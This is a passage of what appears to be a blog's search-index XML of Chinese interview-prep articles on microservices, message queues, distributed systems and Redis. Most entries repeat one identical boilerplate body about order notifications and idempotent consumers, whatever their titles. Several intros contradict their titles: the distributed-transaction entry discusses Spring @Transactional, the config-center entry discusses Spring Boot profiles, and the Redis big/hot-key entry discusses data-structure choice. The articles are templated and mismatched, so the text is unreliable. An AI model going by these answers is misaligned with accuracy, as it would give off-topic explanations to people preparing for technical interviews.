class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：网关在微服务里承担什么职责"><a href="#面试：网关在微服务里承担什么职责" class="headerlink" title="面试：网关在微服务里承担什么职责"></a>面试：网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：服务注册发现的基本流程"><a href="#面试：服务注册发现的基本流程" class="headerlink" title="面试：服务注册发现的基本流程"></a>面试：服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：配置中心解决了什么问题"><a href="#面试：配置中心解决了什么问题" class="headerlink" title="面试：配置中心解决了什么问题"></a>面试：配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：限流熔断降级的区别和落地"><a href="#面试：限流熔断降级的区别和落地" class="headerlink" title="面试：限流熔断降级的区别和落地"></a>面试：限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：分布式事务为什么难"><a href="#面试：分布式事务为什么难" class="headerlink" title="面试：分布式事务为什么难"></a>面试：分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：接口幂等性设计从业务开始"><a href="#面试：接口幂等性设计从业务开始" class="headerlink" title="面试：接口幂等性设计从业务开始"></a>面试：接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：分布式-ID-生成方案怎么选"><a href="#面试：分布式-ID-生成方案怎么选" class="headerlink" title="面试：分布式 ID 生成方案怎么选"></a>面试：分布式 ID 生成方案怎么选</h1><p>面试：分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：延迟队列的业务场景和实现思路"><a href="#面试：延迟队列的业务场景和实现思路" class="headerlink" title="面试：延迟队列的业务场景和实现思路"></a>面试：延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：消息丢失问题从生产到消费排查"><a href="#面试：消息丢失问题从生产到消费排查" class="headerlink" title="面试：消息丢失问题从生产到消费排查"></a>面试：消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：消息重复消费如何保证幂等"><a href="#面试：消息重复消费如何保证幂等" class="headerlink" title="面试：消息重复消费如何保证幂等"></a>面试：消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：消息队列为什么能削峰填谷"><a href="#面试：消息队列为什么能削峰填谷" class="headerlink" title="面试：消息队列为什么能削峰填谷"></a>面试：消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Redis-大-key-和热-key-排查"><a href="#面试：Redis-大-key-和热-key-排查" class="headerlink" title="面试：Redis 大 key 和热 key 排查"></a>面试：Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
